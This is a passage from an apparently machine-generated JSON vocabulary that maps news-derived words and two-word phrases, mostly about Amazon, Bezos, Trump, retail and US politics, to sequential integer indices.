189418,\n  \"230 amazon\": 189419,\n  \"customers love\": 189420,\n  \"giving essentially\": 189421,\n  \"500 pages\": 189422,\n  \"elm\": 189423,\n  \"jost\": 189424,\n  \"lives competitors\": 189425,\n  \"conservation\": 189426,\n  \"generally appreciate\": 189427,\n  \"key\": 189428,\n  \"oakland\": 189429,\n  \"soldier awaits\": 189430,\n  \"congressional allies\": 189431,\n  \"service employees\": 189432,\n  \"stephanopoulos asked\": 189433,\n  \"greater level\": 189434,\n  \"melissa mark\": 189435,\n  \"wildfires trump\": 189436,\n  \"today susan\": 189437,\n  \"statement suggesting\": 189438,\n  \"price correction\": 189439,\n  \"glory\": 189440,\n  \"siccing\": 189441,\n  \"relocated\": 189442,\n  \"coliseum\": 189443,\n  \"barnes\": 189444,\n  \"today reports\": 189445,\n  \"general counseljon\": 189446,\n  \"issues combined\": 189447,\n  \"quite possible\": 189448,\n  \"distraction anti\": 189449,\n  \"tricks headlineposttext\": 189450,\n  \"decline facebook\": 189451,\n  \"vox sentences\": 189452,\n  \"williamson national\": 189453,\n  \"beloved nbc\": 189454,\n  \"mussel\": 189455,\n  \"l2 z8\": 189456,\n  \"gas station\": 189457,\n  \"customers hands\": 189458,\n  \"xip8joqswh pic\": 189459,\n  \"record 800\": 189460,\n  \"immigrants sign\": 189461,\n  \"photobomb\": 189462,\n  \"fair piece\": 189463,\n  \"terrific sanders\": 189464,\n  \"mike bender\": 189465,\n  \"criticised\": 189466,\n  \"marketwatch consumer\": 189467,\n  \"moderation\": 189468,\n  \"place law\": 189469,\n  \"dispute moeller\": 189470,\n  \"literary forger\": 189471,\n  \"accurate reporting\": 189472,\n  \"dodged hundreds\": 189473,\n  \"neared\": 189474,\n  \"430\": 189475,\n  \"wine spirits\": 189476,\n  \"sure everybody\": 189477,\n  \"plan calls\": 189478,\n  \"r4ee t1\": 189479,\n  \"nationalism anderson\": 189480,\n  \"blofeldian laugh\": 189481,\n  \"divest fox\": 189482,\n  \"theonlinecitizen\": 189483,\n  \"durbin rep\": 189484,\n  \"panelists\": 189485,\n  \"ending daca\": 189486,\n  \"girlfriend razor\": 189487,\n  \"commission related\": 189488,\n  \"amazon leverages\": 189489,\n  \"rich friends\": 189490,\n  \"published twisty\": 189491,\n  \"smaller lunar\": 189492,\n  \"doubled investors\": 189493,\n  \"separations inspector\": 189494,\n  \"mistress trump\": 189495,\n  \"remain big\": 189496,\n  \"addition longtime\": 189497,\n  \"company learn\": 189498,\n  \"amazon 8217\": 189499,\n  \"spending promises\": 189500,\n  \"rate reduced\": 189501,\n  \"debbie wasserman\": 189502,\n  \"subsequent email\": 189503,\n  \"diversification\": 189504,\n  \"charles sent\": 189505,\n  \"zamonski\": 189506,\n  \"jointly owned\": 189507,\n  \"conspiracy arab\": 189508,\n  \"position relative\": 189509,\n  \"finally able\": 189510,\n  \"service otcpk\": 189511,\n  \"clothing\": 189512,\n  \"unfavorably president\": 189513,\n  \"600mil rm2\": 189514,\n  \"banks unless\": 189515,\n  \"citigroup\": 189516,\n  \"record stock\": 189517,\n  \"barstow buettner\": 189518,\n  \"body types\": 189519,\n  \"025\": 189520,\n  \"comey according\": 189521,\n  \"pliable president\": 189522,\n  \"lyz\": 189523,\n  \"brings massive\": 189524,\n  \"factors statement\": 189525,\n  \"held victory\": 189526,\n  \"katherine hempstead\": 189527,\n  \"cloth aside\": 189528,\n  \"note congresswoman\": 189529,\n  \"passes gianaris\": 189530,\n  \"force admitted\": 189531,\n  \"server719397\": 189532,\n  \"little kim\": 189533,\n  \"story cnns\": 189534,\n  \"carry passengers\": 189535,\n  \"brennan security\": 189536,\n  \"pushed usps\": 189537,\n  \"items promoting\": 189538,\n  \"qanon forums\": 189539,\n  \"pruitt deploying\": 189540,\n  \"commentary tesla\": 189541,\n  \"bailout\": 189542,\n  \"ken mahoney\": 189543,\n  \"crimes promoted\": 189544,\n  \"includes commissions\": 189545,\n  \"view amazons\": 189546,\n  \"billion instantly\": 189547,\n  \"slows\": 189548,\n  \"gigyashareelement showindex\": 189549,\n  \"vladi\": 189550,\n  \"help assess\": 189551,\n  \"smiles\": 189552,\n  \"favours\": 189553,\n  \"intimidate jeff\": 189554,\n  \"fear trump\": 189555,\n  \"amandla stenberg\": 189556,\n  \"nationally syndicated\": 189557,\n  \"story fake\": 189558,\n  \"cancer causing\": 189559,\n  \"gathered booing\": 189560,\n  \"corps laughing\": 189561,\n  \"detractors\": 189562,\n  \"aurora ted\": 189563,\n  \"briefly entertained\": 189564,\n  \"office safe\": 189565,\n  \"includes joint\": 189566,\n  \"rutger bregman\": 189567,\n  \"preventing military\": 189568,\n  \"amazon long\": 189569,\n  \"sicilian immigrants\": 189570,\n  \"company shipping\": 189571,\n  \"furniture\": 189572,\n  \"munchable snacks\": 189573,\n  \"current american\": 189574,\n  \"changes grace\": 189575,\n  \"sharing service\": 189576,\n  \"environmental ministry\": 189577,\n  \"een middeninkomen\": 189578,\n  \"great place\": 189579,\n  \"management decisions\": 189580,\n  \"dam\": 189581,\n  \"trumpster\": 189582,\n  \"profit nearly\": 189583,\n  \"spoke hours\": 189584,\n  \"sector amazon\": 189585,\n  \"439 6400\": 189586,\n  \"strategist wrote\": 189587,\n  \"cards according\": 189588,\n  \"intimate material\": 189589,\n  \"says working\": 189590,\n  \"pit states\": 189591,\n  \"concern concerns\": 189592,\n  \"respect bezos\": 189593,\n  \"gan charging\": 189594,\n  \"cut passed\": 189595,\n  \"joint investigation\": 189596,\n  \"uber potentially\": 189597,\n  \"acquisition accordingly\": 189598,\n  \"competitive enterprise\": 189599,\n  \"big plans\": 189600,\n  \"impose sanctions\": 189601,\n  \"suisse estimates\": 189602,\n  \"email list\": 189603,\n  \"derisive\": 189604,\n  \"warning admits\": 189605,\n  \"uploads\": 189606,\n  \"atlantic ocean\": 189607,\n  \"east keast\": 189608,\n  \"ex cia\": 189609,\n  \"glam tv\": 189610,\n  \"based production\": 189611,\n  \"immigrant families\": 189612,\n  \"staff circulated\": 189613,\n  \"place digital\": 189614,\n  \"rules including\": 189615,\n  \"service higher\": 189616,\n  \"flying\": 189617,\n  \"situation won\": 189618,\n  \"picking crops\": 189619,\n  \"nasdaq ebay\": 189620,\n  \"handle sexual\": 189621,\n  \"peeling\": 189622,\n  \"growing evidence\": 189623,\n  \"dealer periodically\": 189624,\n  \"keeps growing\": 189625,\n  \"policy proposal\": 189626,\n  \"jberman\": 189627,\n  \"464\": 189628,\n  \"affair jeff\": 189629,\n  \"later affirmed\": 189630,\n  \"tap\": 189631,\n  \"horseman tells\": 189632,\n  \"disinterested\": 189633,\n  \"1849\": 189634,\n  \"kotb ask\": 189635,\n  \"journal microsoft\": 189636,\n  \"similar promises\": 189637,\n  \"dustup saying\": 189638,\n  \"alan patricof\": 189639,\n  \"joy simple\": 189640,\n  \"seat intermediate\": 189641,\n  \"services rendered\": 189642,\n  \"billion worth\": 189643,\n  \"jurna\": 189644,\n  \"telling brands\": 189645,\n  \"likes whiner\": 189646,\n  \"yorkers follow\": 189647,\n  \"urban policy\": 189648,\n  \"videoplay videoplay\": 189649,\n  \"schneider defense\": 189650,\n  \"ceo pichai\": 189651,\n  \"melania jacket\": 189652,\n  \"adjustable\": 189653,\n  \"meets reportedly\": 189654,\n  \"gingrich expressed\": 189655,\n  \"rowling wrote\": 189656,\n  \"president katie\": 189657,\n  \"events huge\": 189658,\n  \"ami previously\": 189659,\n  \"statement microsoft\": 189660,\n  \"4000 ecommerce\": 189661,\n  \"owns treats\": 189662,\n  \"civilian business\": 189663,\n  \"net spencer\": 189664,\n  \"exactly legitimate\": 189665,\n  \"deputy commissioner\": 189666,\n  \"spray paint\": 189667,\n  \"profitability according\": 189668,\n  \"healthyaf\": 189669,\n  \"crowed\": 189670,\n  \"milton\": 189671,\n  \"soapbox\": 189672,\n  \"separate source\": 189673,\n  \"site half\": 189674,\n  \"service lie\": 189675,\n  \"inc_pubdate\": 189676,\n  \"monopolies deserve\": 189677,\n  \"cortez usa\": 189678,\n  \"scooters police\": 189679,\n  \"amazon announced\": 189680,\n  \"needless risk\": 189681,\n  \"software think\": 189682,\n  \"ryanpaul davis\": 189683,\n  \"susan warren\": 189684,\n  \"stage investigation\": 189685,\n  \"goodreads notes\": 189686,\n  \"workers promising\": 189687,\n  \"goods bought\": 189688,\n  \"trump request\": 189689,\n  \"settlements make\": 189690,\n  \"launched trade\": 189691,\n  \"operations apple\": 189692,\n  \"naomi campbell\": 189693,\n  \"ross stores\": 189694,\n  \"host ari\": 189695,\n  \"survey question\": 189696,\n  \"requires patience\": 189697,\n  \"deasy takes\": 189698,\n  \"weighted\": 189699,\n  \"attacks impair\": 189700,\n  \"trump prime\": 189701,\n  \"coach federation\": 189702,\n  \"guill\\u00e9n\": 189703,\n  \"autoplayvideoexist false\": 189704,\n  \"union president\": 189705,\n  \"techn amazon\": 189706,\n  \"overdose connecticut\": 189707,\n  \"increasingly offline\": 189708,\n  \"granted immunity\": 189709,\n  \"time private\": 189710,\n  \"publicity benefits\": 189711,\n  \"decried\": 189712,\n  \"considered currency\": 189713,\n  \"clairevoyant\": 189714,\n  \"ai winter\": 189715,\n  \"closings\": 189716,\n  \"text remove\": 189717,\n  \"politics cold\": 189718,\n  \"mile package\": 189719,\n  \"crimes michigan\": 189720,\n  \"imploring trump\": 189721,\n  \"improvement compared\": 189722,\n  \"kino\": 189723,\n  \"human dignity\": 189724,\n  \"white girlfriend\": 189725,\n  \"business story\": 189726,\n  \"term shareholders\": 189727,\n  \"influence major\": 189728,\n  \"sears origin\": 189729,\n  \"judiciary chairman\": 189730,\n  \"performance\": 189731,\n  \"wing mexican\": 189732,\n  \"pivot year\": 189733,\n  \"skinned\": 189734,\n  \"reelection prospects\": 189735,\n  \"obviously concocted\": 189736,\n  \"store chains\": 189737,\n  \"rural\": 189738,\n  \"cnn money\": 189739,\n  \"flexential\": 189740,\n  \"possibilities working\": 189741,\n  \"goth\": 189742,\n  \"political advocacy\": 189743,\n  \"different people\": 189744,\n  \"2001 day\": 189745,\n  \"facebook blood\": 189746,\n  \"newssuite\": 189747,\n  \"documents viewed\": 189748,\n  \"accepting personal\": 189749,\n  \"term stock\": 189750,\n  \"denies trump\": 189751,\n  \"innovation new\": 189752,\n  \"union organizing\": 189753,\n  \"finland photos\": 189754,\n  \"decipher\": 189755,\n  \"places higher\": 189756,\n  \"global counterfeit\": 189757,\n  \"big key\": 189758,\n  \"recognize people\": 189759,\n  \"chart midway\": 189760,\n  \"commands dance\": 189761,\n  \"based direct\": 189762,\n  \"organics\": 189763,\n  \"evidence showing\": 189764,\n  \"members denounced\": 189765,\n  \"publisher distributor\": 189766,\n  \"trump denied\": 189767,\n  \"payment plans\": 189768,\n  \"stephen\": 189769,\n  \"particularly competitive\": 189770,\n  \"mirrored\": 189771,\n  \"picked apart\": 189772,\n  \"halo effect\": 189773,\n  \"production facilities\": 189774,\n  \"currents\": 189775,\n  \"kavanaugh swearing\": 189776,\n  \"jefferies analyst\": 189777,\n  \"logistics cut\": 189778,\n  \"boar activists\": 189779,\n  \"afterworking\": 189780,\n  \"navy vet\": 189781,\n  \"wright wipes\": 189782,\n  \"microscope\": 189783,\n  \"honed\": 189784,\n  \"good indicator\": 189785,\n  \"house confirmed\": 189786,\n  \"meiji\": 189787,\n  \"queried amazon\": 189788,\n  \"today economy\": 189789,\n  \"international markets\": 189790,\n  \"california teenager\": 189791,\n  \"lab billings\": 189792,\n  \"counselors 257\": 189793,\n  \"consider reasonable\": 189794,\n  \"homes html\": 189795,\n  \"chairman joseph\": 189796,\n  \"sanders finally\": 189797,\n  \"policing agenda\": 189798,\n  \"research regarding\": 189799,\n  \"independent litigative\": 189800,\n  \"activision\": 189801,\n  \"person campus\": 189802,\n  \"2018 cardinal\": 189803,\n  \"day mind\": 189804,\n  \"oddly\": 189805,\n  \"kroger grocery\": 189806,\n  \"culver\": 189807,\n  \"mnuchin trump\": 189808,\n  \"near arizona\": 189809,\n  \"consultation fees\": 189810,\n  \"american discourse\": 189811,\n  \"hosts meeting\": 189812,\n  \"virtual highways\": 189813,\n  \"similar magnitude\": 189814,\n  \"firms tout\": 189815,\n  \"favorably\": 189816,\n  \"billion going\": 189817,\n  \"tablet devices\": 189818,\n  \"embracing inclusiveness\": 189819,\n  \"microsoft veteran\": 189820,\n  \"imf\": 189821,\n  \"better mark\": 189822,\n  \"remains potential\": 189823,\n  \"states hit\": 189824,\n  \"ethics investigations\": 189825,\n  \"administration war\": 189826,\n  \"sears operates\": 189827,\n  \"member house\": 189828,\n  \"increased day\": 189829,\n  \"places lsa\": 189830,\n  \"help control\": 189831,\n  \"recently restocked\": 189832,\n  \"edition\": 189833,\n  \"interview enquirer\": 189834,\n  \"acquire red\": 189835,\n  \"writer stephen\": 189836,\n  \"don rubenstein\": 189837,\n  \"amid grudge\": 189838,\n  \"earnin\": 189839,\n  \"future clark\": 189840,\n  \"wasyou\": 189841,\n  \"5g cellphone\": 189842,\n  \"infrastructure healthcare\": 189843,\n  \"ver\": 189844,\n  \"favorite pejorative\": 189845,\n  \"year fiscal\": 189846,\n  \"markey trump\": 189847,\n  \"customers probably\": 189848,\n  \"momentum shift\": 189849,\n  \"couple massive\": 189850,\n  \"providing 000\": 189851,\n  \"food water\": 189852,\n  \"hamilton\": 189853,\n  \"baddest\": 189854,\n  \"changing technologies\": 189855,\n  \"neoconservative\": 189856,\n  \"campaign email\": 189857,\n  \"unbearable hot\": 189858,\n  \"area bezos\": 189859,\n  \"foxconn walker\": 189860,\n  \"coal fired\": 189861,\n  \"neighbours defeated\": 189862,\n  \"considering profitability\": 189863,\n  \"strength despite\": 189864,\n  \"matt smith\": 189865,\n  \"recitation\": 189866,\n  \"sharecast news\": 189867,\n  \"halls\": 189868,\n  \"tory\": 189869,\n  \"fund blue\": 189870,\n  \"numbers create\": 189871,\n  \"buy batteries\": 189872,\n  \"addition long\": 189873,\n  \"trump asked\": 189874,\n  \"falsely claimed\": 189875,\n  \"khan author\": 189876,\n  \"created virtual\": 189877,\n  \"holder\": 189878,\n  \"key phrase\": 189879,\n  \"redeemed\": 189880,\n  \"reality shares\": 189881,\n  \"facilitate energy\": 189882,\n  \"tech boom\": 189883,\n  \"cross section\": 189884,\n  \"won accuse\": 189885,\n  \"facebook british\": 189886,\n  \"monstrous capitalist\": 189887,\n  \"infrastructure enhancements\": 189888,\n  \"kavanaugh told\": 189889,\n  \"recognized worldwide\": 189890,\n  \"women basketball\": 189891,\n  \"words photos\": 189892,\n  \"bag shaving\": 189893,\n  \"separated thousands\": 189894,\n  \"major blow\": 189895,\n  \"publishing tense\": 189896,\n  \"rewarding\": 189897,\n  \"crawls\": 189898,\n  \"tweeted earlier\": 189899,\n  \"entertainers\": 189900,\n  \"reported cnbc\": 189901,\n  \"company delivers\": 189902,\n  \"reddit offered\": 189903,\n  \"billion philanthropic\": 189904,\n  \"amazon political\": 189905,\n  \"spare billions\": 189906,\n  \"gain far\": 189907,\n  \"took scalpel\": 189908,\n  \"patient health\": 189909,\n  \"southbound\": 189910,\n  \"given right\": 189911,\n  \"biometric collection\": 189912,\n  \"brewers\": 189913,\n  \"quote anonymous\": 189914,\n  \"plummets\": 189915,\n  \"broader economy\": 189916,\n  \"kidsfoundation holdings\": 189917,\n  \"spending blueprint\": 189918,\n  \"moribund defunct\": 189919,\n  \"times nytimes\": 189920,\n  \"electronic wonders\": 189921,\n  \"pane\": 189922,\n  \"biome\": 189923,\n  \"green hydroelectric\": 189924,\n  \"sanctions texas\": 189925,\n  \"fights\": 189926,\n  \"choreographed action\": 189927,\n  \"official document\": 189928,\n  \"stamps\": 189929,\n  \"suspects amazon\": 189930,\n  \"surpassing microsoft\": 189931,\n  \"jointly liable\": 189932,\n  \"wrong step\": 189933,\n  \"massive changes\": 189934,\n  \"caleb howe\": 189935,\n  \"sign trade\": 189936,\n  \"sheer reach\": 189937,\n  \"microscope forcing\": 189938,\n  \"strongly suspected\": 189939,\n  \"budget commission\": 189940,\n  \"display tube\": 189941,\n  \"cultural marxists\": 189942,\n  \"george martin\": 189943,\n  \"herald sun\": 189944,\n  \"marches ahead\": 189945,\n  \"push shares\": 189946,\n  \"ordered trump\": 189947,\n  \"expansive view\": 189948,\n  \"conservatives unfairly\": 189949,\n  \"kindle books\": 189950,\n  \"init\": 189951,\n  \"proposed billion\": 189952,\n  \"902\": 189953,\n  \"good strategy\": 189954,\n  \"received new\": 189955,\n  \"gucci\": 189956,\n  \"explain president\": 189957,\n  \"rugeley\": 189958,\n  \"multimillionaire\": 189959,\n  \"minimum prices\": 189960,\n  \"traffic travels\": 189961,\n  \"party according\": 189962,\n  \"zapolsky\": 189963,\n  \"successful work\": 189964,\n  \"real goal\": 189965,\n  \"people depend\": 189966,\n  \"sears eddie\": 189967,\n  \"create tech\": 189968,\n  \"score valuation\": 189969,\n  \"health writer\": 189970,\n  \"term think\": 189971,\n  \"mgmt grp\": 189972,\n  \"purchases aside\": 189973,\n  \"prenup\": 189974,\n  \"policies goldman\": 189975,\n  \"store consequently\": 189976,\n  \"rttnews amazon\": 189977,\n  \"yorktown management\": 189978,\n  \"nyc1\": 189979,\n  \"colony america\": 189980,\n  \"postage rate\": 189981,\n  \"extraordinary general\": 189982,\n  \"hired lobbyists\": 189983,\n  \"equities jumped\": 189984,\n  \"queens earlier\": 189985,\n  \"self inflected\": 189986,\n  \"products leg\": 189987,\n  \"tense negotiations\": 189988,\n  \"significantly cut\": 189989,\n  \"ron miller\": 189990,\n  \"hiring reporters\": 189991,\n  \"did nail\": 189992,\n  \"clients amazon\": 189993,\n  \"started enforcing\": 189994,\n  \"boarding marine\": 189995,\n  \"management strategy\": 189996,\n  \"sussex county\": 189997,\n  \"bring tools\": 189998,\n  \"incentive offers\": 189999,\n  \"retailing amazon\": 190000,\n  \"2rwt0wj8vd\": 190001,\n  \"expensive journalism\": 190002,\n  \"deep state\": 190003,\n  \"rate usps\": 190004,\n  \"lending officer\": 190005,\n  \"panicked reaction\": 190006,\n  \"commerce web\": 190007,\n  \"bigcharts\": 190008,\n  \"mobile applications\": 190009,\n  \"mohammed\": 190010,\n  \"team andrea\": 190011,\n  \"amid increased\": 190012,\n  \"jinping sent\": 190013,\n  \"nazi groups\": 190014,\n  \"away anytime\": 190015,\n  \"techies\": 190016,\n  \"producing new\": 190017,\n  \"operating nonprofit\": 190018,\n  \"r4ee b6\": 190019,\n  \"website wilson\": 190020,\n  \"sell juul\": 190021,\n  \"mouthpiece\": 190022,\n  \"adobe\": 190023,\n  \"recipient generates\": 190024,\n  \"pennsylvania billion\": 190025,\n  \"celine mcnicholas\": 190026,\n  \"travel data\": 190027,\n  \"bid wasn\": 190028,\n  \"worker headquarters\": 190029,\n  \"incur losses\": 190030,\n  \"kabocha squash\": 190031,\n  \"branding cardcontents\": 190032,\n  \"discuss hq2\": 190033,\n  \"fuelled\": 190034,\n  \"post gm\": 190035,\n  \"responsibility fell\": 190036,\n  \"content want\": 190037,\n  \"ling\": 190038,\n  \"uu9ssaa17kk3\": 190039,\n  \"lgbtq people\": 190040,\n  \"dealingswith countries\": 190041,\n  \"address stickier\": 190042,\n  \"ice largest\": 190043,\n  \"package company\": 190044,\n  \"smalltown\": 190045,\n  \"chiding\": 190046,\n  \"mail sally\": 190047,\n  \"findings trump\": 190048,\n  \"inheriting billions\": 190049,\n  \"scientific formula\": 190050,\n  \"weather uncontrollable\": 190051,\n  \"world record\": 190052,\n  \"stage demonstrations\": 190053,\n  \"right bbc\": 190054,\n  \"ndas\": 190055,\n  \"achievable\": 190056,\n  \"pissing match\": 190057,\n  \"kelly rita\": 190058,\n  \"little tsunami\": 190059,\n  \"largest protest\": 190060,\n  \"run news\": 190061,\n  \"john colderice\": 190062,\n  \"brock bradford\": 190063,\n  \"lindsey collom\": 190064,\n  \"christopher coons\": 190065,\n  \"old says\": 190066,\n  \"reproducible ecosystem\": 190067,\n  \"play hq\": 190068,\n  \"100 rate\": 190069,\n  \"special shipping\": 190070,\n  \"previously led\": 190071,\n  \"trump mounting\": 190072,\n  \"big issues\": 190073,\n  \"jocum claim\": 190074,\n  \"suggested government\": 190075,\n  \"communications suite\": 190076,\n  \"ceo travis\": 190077,\n  \"week lower\": 190078,\n  \"alliance new\": 190079,\n  \"abroad little\": 190080,\n  \"restaurant chain\": 190081,\n  \"vanguard\": 190082,\n  \"nods\": 190083,\n  \"fresh food\": 190084,\n  \"announced cloud\": 190085,\n  \"guardiola managing\": 190086,\n  \"admitted working\": 190087,\n  \"connected\": 190088,\n  \"day fund\": 190089,\n  \"prime option\": 190090,\n  \"1964\": 190091,\n  \"idaho american\": 190092,\n  \"kid carriers\": 190093,\n  \"release embarrassing\": 190094,\n  \"deck reported\": 190095,\n  \"outright owning\": 190096,\n  \"little value\": 190097,\n  \"short statement\": 190098,\n  \"malinowski think\": 190099,\n  \"rung advised\": 190100,\n  \"sen kwame\": 190101,\n  \"using unsettling\": 190102,\n  \"country agricultural\": 190103,\n  \"cohen president\": 190104,\n  \"forecasters\": 190105,\n  \"deleted\": 190106,\n  \"getting tired\": 190107,\n  \"large life\": 190108,\n  \"vestager takes\": 190109,\n  \"undervaluing\": 190110,\n  \"competition lowers\": 190111,\n  \"siraj hashmi\": 190112,\n  \"stocks 2019\": 190113,\n  \"fla ga\": 190114,\n  \"long related\": 190115,\n  \"days using\": 190116,\n  \"wsj kristina\": 190117,\n  \"hot water\": 190118,\n  \"site infowars\": 190119,\n  \"weapon noting\": 190120,\n  \"surprised president\": 190121,\n  \"lik\": 190122,\n  \"told politico\": 190123,\n  \"community knew\": 190124,\n  \"buy political\": 190125,\n  \"eurozone\": 190126,\n  \"challenge particularly\": 190127,\n  \"columnist josh\": 190128,\n  \"fresh approach\": 190129,\n  \"stop shop\": 190130,\n  \"torrid rate\": 190131,\n  \"inkling\": 190132,\n  \"necessarily need\": 190133,\n  \"attempts suicidal\": 190134,\n  \"chg\": 190135,\n  \"economy feeney\": 190136,\n  \"tostring f7a\": 190137,\n  \"challenging telecom\": 190138,\n  \"different arrangements\": 190139,\n  \"trump retailers\": 190140,\n  \"firm cashier\": 190141,\n  \"struck agreements\": 190142,\n  \"headlineplaintext\": 190143,\n  \"data held\": 190144,\n  \"shiny new\": 190145,\n  \"current close\": 190146,\n  \"occupyicepdx\": 190147,\n  \"manikin\": 190148,\n  \"netflix obama\": 190149,\n  \"afghans worry\": 190150,\n  \"retirement fund\": 190151,\n  \"showering companies\": 190152,\n  \"hq pic\": 190153,\n  \"deal kickers\": 190154,\n  \"technology trump\": 190155,\n  \"bear market\": 190156,\n  \"svp dave\": 190157,\n  \"prison spending\": 190158,\n  \"breaches hacks\": 190159,\n  \"photo saying\": 190160,\n  \"right states\": 190161,\n  \"papazian aoc\": 190162,\n  \"source avoided\": 190163,\n  \"career workers\": 190164,\n  \"tabloids new\": 190165,\n  \"900 adults\": 190166,\n  \"relatively weak\": 190167,\n  \"koenig\": 190168,\n  \"ingraham told\": 190169,\n  \"rumored helipad\": 190170,\n  \"times included\": 190171,\n  \"trading companies\": 190172,\n  \"mock trump\": 190173,\n  \"capsule mockup\": 190174,\n  \"story jekyll\": 190175,\n  \"distinctions\": 190176,\n  \"s\\u00e1nchez helped\": 190177,\n  \"35b\": 190178,\n  \"sees story\": 190179,\n  \"aka\": 190180,\n  \"addresses campaign\": 190181,\n  \"friendly product\": 190182,\n  \"creates things\": 190183,\n  \"kaswell\": 190184,\n  \"amazon hello\": 190185,\n  \"kimberly clark\": 190186,\n  \"china public\": 190187,\n  \"price shipping\": 190188,\n  \"note citing\": 190189,\n  \"tailer enjoys\": 190190,\n  \"privacy abuses\": 190191,\n  \"white goo\": 190192,\n  \"g7 lg\": 190193,\n  \"archive jeff\": 190194,\n  \"arizona greene\": 190195,\n  \"sessions gives\": 190196,\n  \"facebook bought\": 190197,\n  \"boeing 787\": 190198,\n  \"racist islamophobic\": 190199,\n  \"recruitment pushes\": 190200,\n  \"quarter nonetheless\": 190201,\n  \"payback 2017\": 190202,\n  \"clothes supporting\": 190203,\n  \"satisfaction polls\": 190204,\n  \"scarborough calls\": 190205,\n  \"obvious winner\": 190206,\n  \"europe html\": 190207,\n  \"exact scent\": 190208,\n  \"rentier sectors\": 190209,\n  \"national alert\": 190210,\n  \"murphy manager\": 190211,\n  \"judge gerald\": 190212,\n  \"perfect costume\": 190213,\n  \"178 george\": 190214,\n  \"posits bezos\": 190215,\n  \"billion packages\": 190216,\n  \"publishers serve\": 190217,\n  \"relationship\": 190218,\n  \"city hall\": 190219,\n  \"surface read\": 190220,\n  \"shakeup california\": 190221,\n  \"tucson\": 190222,\n  \"movie makers\": 190223,\n  \"bochy belongs\": 190224,\n  \"retailers profits\": 190225,\n  \"business analyst\": 190226,\n  \"companies htc\": 190227,\n  \"leading candidate\": 190228,\n  \"service aws\": 190229,\n  \"wants solid\": 190230,\n  \"picketed hectored\": 190231,\n  \"says did\": 190232,\n  \"letters caused\": 190233,\n  \"technology news\": 190234,\n  \"equity inflows\": 190235,\n  \"bbc request\": 190236,\n  \"special prime\": 190237,\n  \"somber moment\": 190238,\n  \"500 975\": 190239,\n  \"leni\": 190240,\n  \"border crossings\": 190241,\n  \"petrochina hasn\": 190242,\n  \"message mocking\": 190243,\n  \"aut_column_name action\": 190244,\n  \"secret amazon\": 190245,\n  \"viable theory\": 190246,\n  \"cohen testimony\": 190247,\n  \"trumpian principle\": 190248,\n  \"growing market\": 190249,\n  \"lomb\": 190250,\n  \"bezos says\": 190251,\n  \"largest cloud\": 190252,\n  \"myles udland\": 190253,\n  \"bi bengaluru\": 190254,\n  \"congress souring\": 190255,\n  \"office 965\": 190256,\n  \"rival fedex\": 190257,\n  \"vocal supporter\": 190258,\n  \"confrontation occurred\": 190259,\n  \"politics divided\": 190260,\n  \"high dosage\": 190261,\n  \"paper finds\": 190262,\n  \"lasted\": 190263,\n  \"really believed\": 190264,\n  \"natural gas\": 190265,\n  \"east conference\": 190266,\n  \"large plant\": 190267,\n  \"maxine tagay\": 190268,\n  \"isn high\": 190269,\n  \"gitmo\": 190270,\n  \"headquarters buildings\": 190271,\n  \"council president\": 190272,\n  \"person ahead\": 190273,\n  \"forceful political\": 190274,\n  \"hike spurred\": 190275,\n  \"workers protested\": 190276,\n  \"altering\": 190277,\n  \"retailers need\": 190278,\n  \"ii surveillance\": 190279,\n  \"spots northern\": 190280,\n  \"muller\": 190281,\n  \"385x240 uploaded_files\": 190282,\n  \"intelligence reporting\": 190283,\n  \"remain focused\": 190284,\n  \"fantastic occupation\": 190285,\n  \"technical criteria\": 190286,\n  \"ddale8\": 190287,\n  \"louisiana\": 190288,\n  \"things according\": 190289,\n  \"based form\": 190290,\n  \"johnson facebook\": 190291,\n  \"enforcing new\": 190292,\n  \"cutting board\": 190293,\n  \"changes need\": 190294,\n  \"longstanding differences\": 190295,\n  \"modi told\": 190296,\n  \"tiffani\": 190297,\n  \"odd incentive\": 190298,\n  \"driving new\": 190299,\n  \"2017 follow\": 190300,\n  \"vacations cover\": 190301,\n  \"reuters brexit\": 190302,\n  \"unlikely comedy\": 190303,\n  \"force sbe\": 190304,\n  \"scorecard photo\": 190305,\n  \"fumes\": 190306,\n  \"pieces information\": 190307,\n  \"rapid adoption\": 190308,\n  \"methods believed\": 190309,\n  \"lynne benioff\": 190310,\n  \"subsidizing sports\": 190311,\n  \"abraham lincoln\": 190312,\n  \"binge shop\": 190313,\n  \"service charges\": 190314,\n  \"china internet\": 190315,\n  \"visit naturalmedicine\": 190316,\n  \"markets insider\": 190317,\n  \"recently selected\": 190318,\n  \"ensemble\": 190319,\n  \"care jim\": 190320,\n  \"generally surrender\": 190321,\n  \"pubdate 2019\": 190322,\n  \"degree amazon\": 190323,\n  \"maylor\": 190324,\n  \"mexico sen\": 190325,\n  \"pitiful\": 190326,\n  \"going missing\": 190327,\n  \"complaints certainly\": 190328,\n  \"added kingston\": 190329,\n  \"detracted\": 190330,\n  \"responsiveness\": 190331,\n  \"exhaustive search\": 190332,\n  \"finance customers\": 190333,\n  \"post sorry\": 190334,\n  \"electronics clothes\": 190335,\n  \"app\\u00e9tit\": 190336,\n  \"day availability\": 190337,\n  \"errant\": 190338,\n  \"mail insurers\": 190339,\n  \"dg\": 190340,\n  \"criminal violations\": 190341,\n  \"shelter jewish\": 190342,\n  \"case raphaella\": 190343,\n  \"jeopardize trade\": 190344,\n  \"scale half\": 190345,\n  \"pg rail\": 190346,\n  \"administration positions\": 190347,\n  \"opposition don\": 190348,\n  \"specialists warned\": 190349,\n  \"undefeated\": 190350,\n  \"flavor good\": 190351,\n  \"testimonial\": 190352,\n  \"auto alliance\": 190353,\n  \"red lights\": 190354,\n  \"crow picture\": 190355,\n  \"offer additionally\": 190356,\n  \"jacinta\": 190357,\n  \"fcau stock\": 190358,\n  \"needs brain\": 190359,\n  \"buying washington\": 190360,\n  \"attachment\": 190361,\n  \"khalil\": 190362,\n  \"f6 object\": 190363,\n  \"fall short\": 190364,\n  \"thirdparty advantage\": 190365,\n  \"trump turned\": 190366,\n  \"earnings countdown\": 190367,\n  \"group met\": 190368,\n  \"spent 250\": 190369,\n  \"fdx united\": 190370,\n  \"competitors eu\": 190371,\n  \"day does\": 190372,\n  \"views\": 190373,\n  \"leone declares\": 190374,\n  \"recommend matador\": 190375,\n  \"hour white\": 190376,\n  \"tax delaware\": 190377,\n  \"10bn contract\": 190378,\n  \"disclosure shows\": 190379,\n  \"powerful forum\": 190380,\n  \"dollar terms\": 190381,\n  \"jake gyllenhaal\": 190382,\n  \"cycle nathaniel\": 190383,\n  \"impeachment dems\": 190384,\n  \"2000 2017\": 190385,\n  \"incendiary family\": 190386,\n  \"googl alphabet\": 190387,\n  \"allowed space\": 190388,\n  \"caucus including\": 